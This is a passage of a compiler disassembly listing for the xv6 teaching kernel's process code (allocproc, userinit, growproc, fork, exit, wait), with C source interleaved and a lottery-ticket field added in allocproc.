8010442e: e8 6a 0d 00 00 call 8010519d <release> 80104433: 83 c4 10 add $0x10,%esp return i; 80104436: 8b 45 f4 mov -0xc(%ebp),%eax } 80104439: 8b 5d fc mov -0x4(%ebp),%ebx 8010443c: c9 leave 8010443d: c3 ret 8010443e <readeflags>: asm volatile("ltr %0" : : "r" (sel)); } static inline uint readeflags(void) { 8010443e: 55 push %ebp 8010443f: 89 e5 mov %esp,%ebp 80104441: 83 ec 10 sub $0x10,%esp uint eflags; asm volatile("pushfl; popl %0" : "=r" (eflags)); 80104444: 9c pushf 80104445: 58 pop %eax 80104446: 89 45 fc mov %eax,-0x4(%ebp) return eflags; 80104449: 8b 45 fc mov -0x4(%ebp),%eax } 8010444c: c9 leave 8010444d: c3 ret 8010444e <sti>: asm volatile("cli"); } static inline void sti(void) { 8010444e: 55 push %ebp 8010444f: 89 e5 mov %esp,%ebp asm volatile("sti"); 80104451: fb sti } 80104452: 90 nop 80104453: 5d pop %ebp 80104454: c3 ret 80104455 <hlt>: static inline void hlt(void) { 80104455: 55 push %ebp 80104456: 89 e5 mov %esp,%ebp asm volatile("hlt"); 80104458: f4 hlt } 80104459: 90 nop 8010445a: 5d pop %ebp 8010445b: c3 ret 8010445c <pinit>: static void wakeup1(void *chan); void pinit(void) { 8010445c: 55 push %ebp 8010445d: 89 e5 mov %esp,%ebp 8010445f: 83 ec 08 sub $0x8,%esp initlock(&ptable.lock, "ptable"); 80104462: 83 ec 08 sub $0x8,%esp 80104465: 68 61 8c 10 80 push $0x80108c61 8010446a: 68 40 43 11 80 push $0x80114340 8010446f: e8 a0 0c 00 00 call 80105114 <initlock> 80104474: 83 c4 10 add $0x10,%esp } 80104477: 90 nop 80104478: c9 leave 80104479: c3 ret 8010447a <allocproc>: // If found, change state to EMBRYO and initialize // state required to run in the kernel. // Otherwise return 0. static struct proc* allocproc(void) { 8010447a: 55 push %ebp 8010447b: 89 e5 mov %esp,%ebp 8010447d: 83 ec 18 sub $0x18,%esp struct proc *p; char *sp; acquire(&ptable.lock); 80104480: 83 ec 0c sub $0xc,%esp 80104483: 68 40 43 11 80 push $0x80114340 80104488: e8 a9 0c 00 00 call 80105136 <acquire> 8010448d: 83 c4 10 add $0x10,%esp for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80104490: c7 45 f4 74 43 11 80 movl $0x80114374,-0xc(%ebp) 80104497: eb 0e jmp 801044a7 <allocproc+0x2d> if(p->state == UNUSED) 80104499: 8b 45 f4 mov -0xc(%ebp),%eax 8010449c: 8b 40 0c mov 0xc(%eax),%eax 8010449f: 85 c0 test %eax,%eax 801044a1: 74 27 je 801044ca <allocproc+0x50> { struct proc *p; char *sp; acquire(&ptable.lock); for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 801044a3: 83 6d f4 80 subl $0xffffff80,-0xc(%ebp) 801044a7: 81 7d f4 74 63 11 80 cmpl $0x80116374,-0xc(%ebp) 801044ae: 72 e9 jb 80104499 <allocproc+0x1f> if(p->state == UNUSED) goto found; release(&ptable.lock); 801044b0: 83 ec 0c sub $0xc,%esp 801044b3: 68 40 43 11 80 push $0x80114340 801044b8: e8 e0 0c 00 00 call 8010519d <release> 801044bd: 83 c4 10 add $0x10,%esp return 0; 801044c0: b8 00 00 00 00 mov $0x0,%eax 801044c5: e9 be 00 00 00 jmp 80104588 <allocproc+0x10e> char *sp; acquire(&ptable.lock); for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) if(p->state == UNUSED) goto found; 801044ca: 90 nop release(&ptable.lock); return 0; found: p->state = EMBRYO; 801044cb: 8b 45 f4 mov -0xc(%ebp),%eax 801044ce: c7 40 0c 01 00 00 00 movl $0x1,0xc(%eax) p->pid = nextpid++; 801044d5: a1 04 c0 10 80 mov 0x8010c004,%eax 801044da: 8d 50 01 lea 0x1(%eax),%edx 801044dd: 89 15 04 c0 10 80 mov %edx,0x8010c004 801044e3: 8b 55 f4 mov -0xc(%ebp),%edx 801044e6: 89 42 10 mov %eax,0x10(%edx) release(&ptable.lock); 801044e9: 83 ec 0c sub $0xc,%esp 801044ec: 68 40 43 11 80 push $0x80114340 801044f1: e8 a7 0c 00 00 call 8010519d <release> 801044f6: 83 c4 10 add $0x10,%esp // Allocate kernel stack. if((p->kstack = kalloc()) == 0){ 801044f9: e8 68 e7 ff ff call 80102c66 <kalloc> 801044fe: 89 c2 mov %eax,%edx 80104500: 8b 45 f4 mov -0xc(%ebp),%eax 80104503: 89 50 08 mov %edx,0x8(%eax) 80104506: 8b 45 f4 mov -0xc(%ebp),%eax 80104509: 8b 40 08 mov 0x8(%eax),%eax 8010450c: 85 c0 test %eax,%eax 8010450e: 75 11 jne 80104521 <allocproc+0xa7> p->state = UNUSED; 80104510: 8b 45 f4 mov -0xc(%ebp),%eax 80104513: c7 40 0c 00 00 00 00 movl $0x0,0xc(%eax) return 0; 8010451a: b8 00 00 00 00 mov $0x0,%eax 8010451f: eb 67 jmp 80104588 <allocproc+0x10e> } sp = p->kstack + KSTACKSIZE; 80104521: 8b 45 f4 mov -0xc(%ebp),%eax 80104524: 8b 40 08 mov 0x8(%eax),%eax 80104527: 05 00 10 00 00 add $0x1000,%eax 8010452c: 89 45 f0 mov %eax,-0x10(%ebp) // Leave room for trap frame. sp -= sizeof *p->tf; 8010452f: 83 6d f0 4c subl $0x4c,-0x10(%ebp) p->tf = (struct trapframe*)sp; 80104533: 8b 45 f4 mov -0xc(%ebp),%eax 80104536: 8b 55 f0 mov -0x10(%ebp),%edx 80104539: 89 50 18 mov %edx,0x18(%eax) // Set up new context to start executing at forkret, // which returns to trapret. sp -= 4; 8010453c: 83 6d f0 04 subl $0x4,-0x10(%ebp) *(uint*)sp = (uint)trapret; 80104540: ba ee 67 10 80 mov $0x801067ee,%edx 80104545: 8b 45 f0 mov -0x10(%ebp),%eax 80104548: 89 10 mov %edx,(%eax) sp -= sizeof *p->context; 8010454a: 83 6d f0 14 subl $0x14,-0x10(%ebp) p->context = (struct context*)sp; 8010454e: 8b 45 f4 mov -0xc(%ebp),%eax 80104551: 8b 55 f0 mov -0x10(%ebp),%edx 80104554: 89 50 1c mov %edx,0x1c(%eax) memset(p->context, 0, sizeof *p->context); 80104557: 8b 45 f4 mov -0xc(%ebp),%eax 8010455a: 8b 40 1c mov 0x1c(%eax),%eax 8010455d: 83 ec 04 sub $0x4,%esp 80104560: 6a 14 push $0x14 80104562: 6a 00 push $0x0 80104564: 50 push %eax 80104565: e8 2f 0e 00 00 call 80105399 <memset> 8010456a: 83 c4 10 add $0x10,%esp p->context->eip = (uint)forkret; 8010456d: 8b 45 f4 mov -0xc(%ebp),%eax 80104570: 8b 40 1c mov 0x1c(%eax),%eax 80104573: ba b1 4d 10 80 mov $0x80104db1,%edx 80104578: 89 50 10 mov %edx,0x10(%eax) p->tickets = 10; //ini tickets is 10 8010457b: 8b 45 f4 mov -0xc(%ebp),%eax 8010457e: c7 40 7c 0a 00 00 00 movl $0xa,0x7c(%eax) return p; 80104585: 8b 45 f4 mov -0xc(%ebp),%eax } 80104588: c9 leave 80104589: c3 ret 8010458a <userinit>: //PAGEBREAK: 32 // Set up first user process. void userinit(void) { 8010458a: 55 push %ebp 8010458b: 89 e5 mov %esp,%ebp 8010458d: 83 ec 18 sub $0x18,%esp struct proc *p; extern char _binary_initcode_start[], _binary_initcode_size[]; p = allocproc(); 80104590: e8 e5 fe ff ff call 8010447a <allocproc> 80104595: 89 45 f4 mov %eax,-0xc(%ebp) initproc = p; 80104598: 8b 45 f4 mov -0xc(%ebp),%eax 8010459b: a3 68 c6 10 80 mov %eax,0x8010c668 if((p->pgdir = setupkvm()) == 0) 801045a0: e8 0e 39 00 00 call 80107eb3 <setupkvm> 801045a5: 89 c2 mov %eax,%edx 801045a7: 8b 45 f4 mov -0xc(%ebp),%eax 801045aa: 89 50 04 mov %edx,0x4(%eax) 801045ad: 8b 45 f4 mov -0xc(%ebp),%eax 801045b0: 8b 40 04 mov 0x4(%eax),%eax 801045b3: 85 c0 test %eax,%eax 801045b5: 75 0d jne 801045c4 <userinit+0x3a> panic("userinit: out of memory?"); 801045b7: 83 ec 0c sub $0xc,%esp 801045ba: 68 68 8c 10 80 push $0x80108c68 801045bf: e8 a2 bf ff ff call 80100566 <panic> inituvm(p->pgdir, _binary_initcode_start, (int)_binary_initcode_size); 801045c4: ba 2c 00 00 00 mov $0x2c,%edx 801045c9: 8b 45 f4 mov -0xc(%ebp),%eax 801045cc: 8b 40 04 mov 0x4(%eax),%eax 801045cf: 83 ec 04 sub $0x4,%esp 801045d2: 52 push %edx 801045d3: 68 ec c4 10 80 push $0x8010c4ec 801045d8: 50 push %eax 801045d9: e8 2f 3b 00 00 call 8010810d <inituvm> 801045de: 83 c4 10 add $0x10,%esp p->sz = PGSIZE; 801045e1: 8b 45 f4 mov -0xc(%ebp),%eax 801045e4: c7 00 00 10 00 00 movl $0x1000,(%eax) memset(p->tf, 0, sizeof(*p->tf)); 801045ea: 8b 45 f4 mov -0xc(%ebp),%eax 801045ed: 8b 40 18 mov 0x18(%eax),%eax 801045f0: 83 ec 04 sub $0x4,%esp 801045f3: 6a 4c push $0x4c 801045f5: 6a 00 push $0x0 801045f7: 50 push %eax 801045f8: e8 9c 0d 00 00 call 80105399 <memset> 801045fd: 83 c4 10 add $0x10,%esp p->tf->cs = (SEG_UCODE << 3) | DPL_USER; 80104600: 8b 45 f4 mov -0xc(%ebp),%eax 80104603: 8b 40 18 mov 0x18(%eax),%eax 80104606: 66 c7 40 3c 23 00 movw $0x23,0x3c(%eax) p->tf->ds = (SEG_UDATA << 3) | DPL_USER; 8010460c: 8b 45 f4 mov -0xc(%ebp),%eax 8010460f: 8b 40 18 mov 0x18(%eax),%eax 80104612: 66 c7 40 2c 2b 00 movw $0x2b,0x2c(%eax) p->tf->es = p->tf->ds; 80104618: 8b 45 f4 mov -0xc(%ebp),%eax 8010461b: 8b 40 18 mov 0x18(%eax),%eax 8010461e: 8b 55 f4 mov -0xc(%ebp),%edx 80104621: 8b 52 18 mov 0x18(%edx),%edx 80104624: 0f b7 52 2c movzwl 0x2c(%edx),%edx 80104628: 66 89 50 28 mov %dx,0x28(%eax) p->tf->ss = p->tf->ds; 8010462c: 8b 45 f4 mov -0xc(%ebp),%eax 8010462f: 8b 40 18 mov 0x18(%eax),%eax 80104632: 8b 55 f4 mov -0xc(%ebp),%edx 80104635: 8b 52 18 mov 0x18(%edx),%edx 80104638: 0f b7 52 2c movzwl 0x2c(%edx),%edx 8010463c: 66 89 50 48 mov %dx,0x48(%eax) p->tf->eflags = FL_IF; 80104640: 8b 45 f4 mov -0xc(%ebp),%eax 80104643: 8b 40 18 mov 0x18(%eax),%eax 80104646: c7 40 40 00 02 00 00 movl $0x200,0x40(%eax) p->tf->esp = PGSIZE; 8010464d: 8b 45 f4 mov -0xc(%ebp),%eax 80104650: 8b 40 18 mov 0x18(%eax),%eax 80104653: c7 40 44 00 10 00 00 movl $0x1000,0x44(%eax) p->tf->eip = 0; // beginning of initcode.S 8010465a: 8b 45 f4 mov -0xc(%ebp),%eax 8010465d: 8b 40 18 mov 0x18(%eax),%eax 80104660: c7 40 38 00 00 00 00 movl $0x0,0x38(%eax) safestrcpy(p->name, "initcode", sizeof(p->name)); 80104667: 8b 45 f4 mov -0xc(%ebp),%eax 8010466a: 83 c0 6c add $0x6c,%eax 8010466d: 83 ec 04 sub $0x4,%esp 80104670: 6a 10 push $0x10 80104672: 68 81 8c 10 80 push $0x80108c81 80104677: 50 push %eax 80104678: e8 1f 0f 00 00 call 8010559c <safestrcpy> 8010467d: 83 c4 10 add $0x10,%esp p->cwd = namei("/"); 80104680: 83 ec 0c sub $0xc,%esp 80104683: 68 8a 8c 10 80 push $0x80108c8a 80104688: e8 9b de ff ff call 80102528 <namei> 8010468d: 83 c4 10 add $0x10,%esp 80104690: 89 c2 mov %eax,%edx 80104692: 8b 45 f4 mov -0xc(%ebp),%eax 80104695: 89 50 68 mov %edx,0x68(%eax) p->state = RUNNABLE; 80104698: 8b 45 f4 mov -0xc(%ebp),%eax 8010469b: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax) } 801046a2: 90 nop 801046a3: c9 leave 801046a4: c3 ret 801046a5 <growproc>: // Grow current process's memory by n bytes. // Return 0 on success, -1 on failure. int growproc(int n) { 801046a5: 55 push %ebp 801046a6: 89 e5 mov %esp,%ebp 801046a8: 83 ec 18 sub $0x18,%esp uint sz; sz = proc->sz; 801046ab: 65 a1 04 00 00 00 mov %gs:0x4,%eax 801046b1: 8b 00 mov (%eax),%eax 801046b3: 89 45 f4 mov %eax,-0xc(%ebp) if(n > 0){ 801046b6: 83 7d 08 00 cmpl $0x0,0x8(%ebp) 801046ba: 7e 31 jle 801046ed <growproc+0x48> if((sz = allocuvm(proc->pgdir, sz, sz + n)) == 0) 801046bc: 8b 55 08 mov 0x8(%ebp),%edx 801046bf: 8b 45 f4 mov -0xc(%ebp),%eax 801046c2: 01 c2 add %eax,%edx 801046c4: 65 a1 04 00 00 00 mov %gs:0x4,%eax 801046ca: 8b 40 04 mov 0x4(%eax),%eax 801046cd: 83 ec 04 sub $0x4,%esp 801046d0: 52 push %edx 801046d1: ff 75 f4 pushl -0xc(%ebp) 801046d4: 50 push %eax 801046d5: e8 80 3b 00 00 call 8010825a <allocuvm> 801046da: 83 c4 10 add $0x10,%esp 801046dd: 89 45 f4 mov %eax,-0xc(%ebp) 801046e0: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 801046e4: 75 3e jne 80104724 <growproc+0x7f> return -1; 801046e6: b8 ff ff ff ff mov $0xffffffff,%eax 801046eb: eb 59 jmp 80104746 <growproc+0xa1> } else if(n < 0){ 801046ed: 83 7d 08 00 cmpl $0x0,0x8(%ebp) 801046f1: 79 31 jns 80104724 <growproc+0x7f> if((sz = deallocuvm(proc->pgdir, sz, sz + n)) == 0) 801046f3: 8b 55 08 mov 0x8(%ebp),%edx 801046f6: 8b 45 f4 mov -0xc(%ebp),%eax 801046f9: 01 c2 add %eax,%edx 801046fb: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80104701: 8b 40 04 mov 0x4(%eax),%eax 80104704: 83 ec 04 sub $0x4,%esp 80104707: 52 push %edx 80104708: ff 75 f4 pushl -0xc(%ebp) 8010470b: 50 push %eax 8010470c: e8 12 3c 00 00 call 80108323 <deallocuvm> 80104711: 83 c4 10 add $0x10,%esp 80104714: 89 45 f4 mov %eax,-0xc(%ebp) 80104717: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 8010471b: 75 07 jne 80104724 <growproc+0x7f> return -1; 8010471d: b8 ff ff ff ff mov $0xffffffff,%eax 80104722: eb 22 jmp 80104746 <growproc+0xa1> } proc->sz = sz; 80104724: 65 a1 04 00 00 00 mov %gs:0x4,%eax 8010472a: 8b 55 f4 mov -0xc(%ebp),%edx 8010472d: 89 10 mov %edx,(%eax) switchuvm(proc); 8010472f: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80104735: 83 ec 0c sub $0xc,%esp 80104738: 50 push %eax 80104739: e8 5c 38 00 00 call 80107f9a <switchuvm> 8010473e: 83 c4 10 add $0x10,%esp return 0; 80104741: b8 00 00 00 00 mov $0x0,%eax } 80104746: c9 leave 80104747: c3 ret 80104748 <fork>: // Create a new process copying p as the parent. // Sets up stack to return as if from system call. // Caller must set state of returned proc to RUNNABLE. int fork(void) { 80104748: 55 push %ebp 80104749: 89 e5 mov %esp,%ebp 8010474b: 57 push %edi 8010474c: 56 push %esi 8010474d: 53 push %ebx 8010474e: 83 ec 1c sub $0x1c,%esp int i, pid; struct proc *np; // Allocate process. if((np = allocproc()) == 0) 80104751: e8 24 fd ff ff call 8010447a <allocproc> 80104756: 89 45 e0 mov %eax,-0x20(%ebp) 80104759: 83 7d e0 00 cmpl $0x0,-0x20(%ebp) 8010475d: 75 0a jne 80104769 <fork+0x21> return -1; 8010475f: b8 ff ff ff ff mov $0xffffffff,%eax 80104764: e9 68 01 00 00 jmp 801048d1 <fork+0x189> // Copy process state from p. if((np->pgdir = copyuvm(proc->pgdir, proc->sz)) == 0){ 80104769: 65 a1 04 00 00 00 mov %gs:0x4,%eax 8010476f: 8b 10 mov (%eax),%edx 80104771: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80104777: 8b 40 04 mov 0x4(%eax),%eax 8010477a: 83 ec 08 sub $0x8,%esp 8010477d: 52 push %edx 8010477e: 50 push %eax 8010477f: e8 3d 3d 00 00 call 801084c1 <copyuvm> 80104784: 83 c4 10 add $0x10,%esp 80104787: 89 c2 mov %eax,%edx 80104789: 8b 45 e0 mov -0x20(%ebp),%eax 8010478c: 89 50 04 mov %edx,0x4(%eax) 8010478f: 8b 45 e0 mov -0x20(%ebp),%eax 80104792: 8b 40 04 mov 0x4(%eax),%eax 80104795: 85 c0 test %eax,%eax 80104797: 75 30 jne 801047c9 <fork+0x81> kfree(np->kstack); 80104799: 8b 45 e0 mov -0x20(%ebp),%eax 8010479c: 8b 40 08 mov 0x8(%eax),%eax 8010479f: 83 ec 0c sub $0xc,%esp 801047a2: 50 push %eax 801047a3: e8 21 e4 ff ff call 80102bc9 <kfree> 801047a8: 83 c4 10 add $0x10,%esp np->kstack = 0; 801047ab: 8b 45 e0 mov -0x20(%ebp),%eax 801047ae: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax) np->state = UNUSED; 801047b5: 8b 45 e0 mov -0x20(%ebp),%eax 801047b8: c7 40 0c 00 00 00 00 movl $0x0,0xc(%eax) return -1; 801047bf: b8 ff ff ff ff mov $0xffffffff,%eax 801047c4: e9 08 01 00 00 jmp 801048d1 <fork+0x189> } np->sz = proc->sz; 801047c9: 65 a1 04 00 00 00 mov %gs:0x4,%eax 801047cf: 8b 10 mov (%eax),%edx 801047d1: 8b 45 e0 mov -0x20(%ebp),%eax 801047d4: 89 10 mov %edx,(%eax) np->parent = proc; 801047d6: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx 801047dd: 8b 45 e0 mov -0x20(%ebp),%eax 801047e0: 89 50 14 mov %edx,0x14(%eax) *np->tf = *proc->tf; 801047e3: 8b 45 e0 mov -0x20(%ebp),%eax 801047e6: 8b 50 18 mov 0x18(%eax),%edx 801047e9: 65 a1 04 00 00 00 mov %gs:0x4,%eax 801047ef: 8b 40 18 mov 0x18(%eax),%eax 801047f2: 89 c3 mov %eax,%ebx 801047f4: b8 13 00 00 00 mov $0x13,%eax 801047f9: 89 d7 mov %edx,%edi 801047fb: 89 de mov %ebx,%esi 801047fd: 89 c1 mov %eax,%ecx 801047ff: f3 a5 rep movsl %ds:(%esi),%es:(%edi) // Clear %eax so that fork returns 0 in the child. np->tf->eax = 0; 80104801: 8b 45 e0 mov -0x20(%ebp),%eax 80104804: 8b 40 18 mov 0x18(%eax),%eax 80104807: c7 40 1c 00 00 00 00 movl $0x0,0x1c(%eax) for(i = 0; i < NOFILE; i++) 8010480e: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp) 80104815: eb 43 jmp 8010485a <fork+0x112> if(proc->ofile[i]) 80104817: 65 a1 04 00 00 00 mov %gs:0x4,%eax 8010481d: 8b 55 e4 mov -0x1c(%ebp),%edx 80104820: 83 c2 08 add $0x8,%edx 80104823: 8b 44 90 08 mov 0x8(%eax,%edx,4),%eax 80104827: 85 c0 test %eax,%eax 80104829: 74 2b je 80104856 <fork+0x10e> np->ofile[i] = filedup(proc->ofile[i]); 8010482b: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80104831: 8b 55 e4 mov -0x1c(%ebp),%edx 80104834: 83 c2 08 add $0x8,%edx 80104837: 8b 44 90 08 mov 0x8(%eax,%edx,4),%eax 8010483b: 83 ec 0c sub $0xc,%esp 8010483e: 50 push %eax 8010483f: e8 bc c7 ff ff call 80101000 <filedup> 80104844: 83 c4 10 add $0x10,%esp 80104847: 89 c1 mov %eax,%ecx 80104849: 8b 45 e0 mov -0x20(%ebp),%eax 8010484c: 8b 55 e4 mov -0x1c(%ebp),%edx 8010484f: 83 c2 08 add $0x8,%edx 80104852: 89 4c 90 08 mov %ecx,0x8(%eax,%edx,4) *np->tf = *proc->tf; // Clear %eax so that fork returns 0 in the child. np->tf->eax = 0; for(i = 0; i < NOFILE; i++) 80104856: 83 45 e4 01 addl $0x1,-0x1c(%ebp) 8010485a: 83 7d e4 0f cmpl $0xf,-0x1c(%ebp) 8010485e: 7e b7 jle 80104817 <fork+0xcf> if(proc->ofile[i]) np->ofile[i] = filedup(proc->ofile[i]); np->cwd = idup(proc->cwd); 80104860: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80104866: 8b 40 68 mov 0x68(%eax),%eax 80104869: 83 ec 0c sub $0xc,%esp 8010486c: 50 push %eax 8010486d: e8 be d0 ff ff call 80101930 <idup> 80104872: 83 c4 10 add $0x10,%esp 80104875: 89 c2 mov %eax,%edx 80104877: 8b 45 e0 mov -0x20(%ebp),%eax 8010487a: 89 50 68 mov %edx,0x68(%eax) safestrcpy(np->name, proc->name, sizeof(proc->name)); 8010487d: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80104883: 8d 50 6c lea 0x6c(%eax),%edx 80104886: 8b 45 e0 mov -0x20(%ebp),%eax 80104889: 83 c0 6c add $0x6c,%eax 8010488c: 83 ec 04 sub $0x4,%esp 8010488f: 6a 10 push $0x10 80104891: 52 push %edx 80104892: 50 push %eax 80104893: e8 04 0d 00 00 call 8010559c <safestrcpy> 80104898: 83 c4 10 add $0x10,%esp pid = np->pid; 8010489b: 8b 45 e0 mov -0x20(%ebp),%eax 8010489e: 8b 40 10 mov 0x10(%eax),%eax 801048a1: 89 45 dc mov %eax,-0x24(%ebp) // lock to force the compiler to emit the np->state write last. acquire(&ptable.lock); 801048a4: 83 ec 0c sub $0xc,%esp 801048a7: 68 40 43 11 80 push $0x80114340 801048ac: e8 85 08 00 00 call 80105136 <acquire> 801048b1: 83 c4 10 add $0x10,%esp np->state = RUNNABLE; 801048b4: 8b 45 e0 mov -0x20(%ebp),%eax 801048b7: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax) release(&ptable.lock); 801048be: 83 ec 0c sub $0xc,%esp 801048c1: 68 40 43 11 80 push $0x80114340 801048c6: e8 d2 08 00 00 call 8010519d <release> 801048cb: 83 c4 10 add $0x10,%esp return pid; 801048ce: 8b 45 dc mov -0x24(%ebp),%eax } 801048d1: 8d 65 f4 lea -0xc(%ebp),%esp 801048d4: 5b pop %ebx 801048d5: 5e pop %esi 801048d6: 5f pop %edi 801048d7: 5d pop %ebp 801048d8: c3 ret 801048d9 <exit>: // Exit the current process. Does not return. // An exited process remains in the zombie state // until its parent calls wait() to find out it exited. void exit(void) { 801048d9: 55 push %ebp 801048da: 89 e5 mov %esp,%ebp 801048dc: 83 ec 18 sub $0x18,%esp struct proc *p; int fd; if(proc == initproc) 801048df: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx 801048e6: a1 68 c6 10 80 mov 0x8010c668,%eax 801048eb: 39 c2 cmp %eax,%edx 801048ed: 75 0d jne 801048fc <exit+0x23> panic("init exiting"); 801048ef: 83 ec 0c sub $0xc,%esp 801048f2: 68 8c 8c 10 80 push $0x80108c8c 801048f7: e8 6a bc ff ff call 80100566 <panic> // Close all open files. for(fd = 0; fd < NOFILE; fd++){ 801048fc: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) 80104903: eb 48 jmp 8010494d <exit+0x74> if(proc->ofile[fd]){ 80104905: 65 a1 04 00 00 00 mov %gs:0x4,%eax 8010490b: 8b 55 f0 mov -0x10(%ebp),%edx 8010490e: 83 c2 08 add $0x8,%edx 80104911: 8b 44 90 08 mov 0x8(%eax,%edx,4),%eax 80104915: 85 c0 test %eax,%eax 80104917: 74 30 je 80104949 <exit+0x70> fileclose(proc->ofile[fd]); 80104919: 65 a1 04 00 00 00 mov %gs:0x4,%eax 8010491f: 8b 55 f0 mov -0x10(%ebp),%edx 80104922: 83 c2 08 add $0x8,%edx 80104925: 8b 44 90 08 mov 0x8(%eax,%edx,4),%eax 80104929: 83 ec 0c sub $0xc,%esp 8010492c: 50 push %eax 8010492d: e8 1f c7 ff ff call 80101051 <fileclose> 80104932: 83 c4 10 add $0x10,%esp proc->ofile[fd] = 0; 80104935: 65 a1 04 00 00 00 mov %gs:0x4,%eax 8010493b: 8b 55 f0 mov -0x10(%ebp),%edx 8010493e: 83 c2 08 add $0x8,%edx 80104941: c7 44 90 08 00 00 00 movl $0x0,0x8(%eax,%edx,4) 80104948: 00 if(proc == initproc) panic("init exiting"); // Close all open files. for(fd = 0; fd < NOFILE; fd++){ 80104949: 83 45 f0 01 addl $0x1,-0x10(%ebp) 8010494d: 83 7d f0 0f cmpl $0xf,-0x10(%ebp) 80104951: 7e b2 jle 80104905 <exit+0x2c> fileclose(proc->ofile[fd]); proc->ofile[fd] = 0; } } begin_op(); 80104953: e8 f5 eb ff ff call 8010354d <begin_op> iput(proc->cwd); 80104958: 65 a1 04 00 00 00 mov %gs:0x4,%eax 8010495e: 8b 40 68 mov 0x68(%eax),%eax 80104961: 83 ec 0c sub $0xc,%esp 80104964: 50 push %eax 80104965: e8 d0 d1 ff ff call 80101b3a <iput> 8010496a: 83 c4 10 add $0x10,%esp end_op(); 8010496d: e8 67 ec ff ff call 801035d9 <end_op> proc->cwd = 0; 80104972: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80104978: c7 40 68 00 00 00 00 movl $0x0,0x68(%eax) acquire(&ptable.lock); 8010497f: 83 ec 0c sub $0xc,%esp 80104982: 68 40 43 11 80 push $0x80114340 80104987: e8 aa 07 00 00 call 80105136 <acquire> 8010498c: 83 c4 10 add $0x10,%esp // Parent might be sleeping in wait(). wakeup1(proc->parent); 8010498f: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80104995: 8b 40 14 mov 0x14(%eax),%eax 80104998: 83 ec 0c sub $0xc,%esp 8010499b: 50 push %eax 8010499c: e8 02 05 00 00 call 80104ea3 <wakeup1> 801049a1: 83 c4 10 add $0x10,%esp // Pass abandoned children to init. for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 801049a4: c7 45 f4 74 43 11 80 movl $0x80114374,-0xc(%ebp) 801049ab: eb 3c jmp 801049e9 <exit+0x110> if(p->parent == proc){ 801049ad: 8b 45 f4 mov -0xc(%ebp),%eax 801049b0: 8b 50 14 mov 0x14(%eax),%edx 801049b3: 65 a1 04 00 00 00 mov %gs:0x4,%eax 801049b9: 39 c2 cmp %eax,%edx 801049bb: 75 28 jne 801049e5 <exit+0x10c> p->parent = initproc; 801049bd: 8b 15 68 c6 10 80 mov 0x8010c668,%edx 801049c3: 8b 45 f4 mov -0xc(%ebp),%eax 801049c6: 89 50 14 mov %edx,0x14(%eax) if(p->state == ZOMBIE) 801049c9: 8b 45 f4 mov -0xc(%ebp),%eax 801049cc: 8b 40 0c mov 0xc(%eax),%eax 801049cf: 83 f8 05 cmp $0x5,%eax 801049d2: 75 11 jne 801049e5 <exit+0x10c> wakeup1(initproc); 801049d4: a1 68 c6 10 80 mov 0x8010c668,%eax 801049d9: 83 ec 0c sub $0xc,%esp 801049dc: 50 push %eax 801049dd: e8 c1 04 00 00 call 80104ea3 <wakeup1> 801049e2: 83 c4 10 add $0x10,%esp // Parent might be sleeping in wait(). wakeup1(proc->parent); // Pass abandoned children to init. for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 801049e5: 83 6d f4 80 subl $0xffffff80,-0xc(%ebp) 801049e9: 81 7d f4 74 63 11 80 cmpl $0x80116374,-0xc(%ebp) 801049f0: 72 bb jb 801049ad <exit+0xd4> wakeup1(initproc); } } // Jump into the scheduler, never to return. proc->state = ZOMBIE; 801049f2: 65 a1 04 00 00 00 mov %gs:0x4,%eax 801049f8: c7 40 0c 05 00 00 00 movl $0x5,0xc(%eax) sched(); 801049ff: e8 b6 02 00 00 call 80104cba <sched> panic("zombie exit"); 80104a04: 83 ec 0c sub $0xc,%esp 80104a07: 68 99 8c 10 80 push $0x80108c99 80104a0c: e8 55 bb ff ff call 80100566 <panic> 80104a11 <wait>: // Wait for a child process to exit and return its pid. // Return -1 if this process has no children. int wait(void) { 80104a11: 55 push %ebp 80104a12: 89 e5 mov %esp,%ebp 80104a14: 83 ec 18 sub $0x18,%esp struct proc *p; int havekids, pid; acquire(&ptable.lock); 80104a17: 83 ec 0c sub $0xc,%esp 80104a1a: 68 40 43 11 80 push $0x80114340 80104a1f: e8 12 07 00 00 call 80105136 <acquire> 80104a24: 83 c4 10 add $0x10,%esp for(;;){ // Scan through table looking for zombie children. havekids = 0; 80104a27: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80104a2e: c7 45 f4 74 43 11 80 movl $0x80114374,-0xc(%ebp) 80104a35: e9 a6 00 00 00 jmp 80104ae0 <wait+0xcf> if(p->parent != proc) 80104a3a: 8b 45 f4 mov -0xc(%ebp),%eax 80104a3d: 8b 50 14 mov 0x14(%eax),%edx 80104a40: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80104a46: 39 c2 cmp %eax,%edx 80104a48: 0f 85 8d 00 00 00 jne 80104adb <wait+0xca> continue; havekids = 1; 80104a4e: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp) if(p->state == ZOMBIE){ 80104a55: 8b 45 f4 mov -0xc(%ebp),%eax 80104a58: 8b 40 0c mov 0xc(%eax),%eax 80104a5b: 83 f8 05 cmp $0x5,%eax 80104a5e: 75 7c jne 80104adc <wait+0xcb> // Found one. pid = p->pid; 80104a60: 8b 45 f4 mov -0xc(%ebp),%eax 80104a63: 8b 40 10 mov 0x10(%eax),%eax 80104a66: 89 45 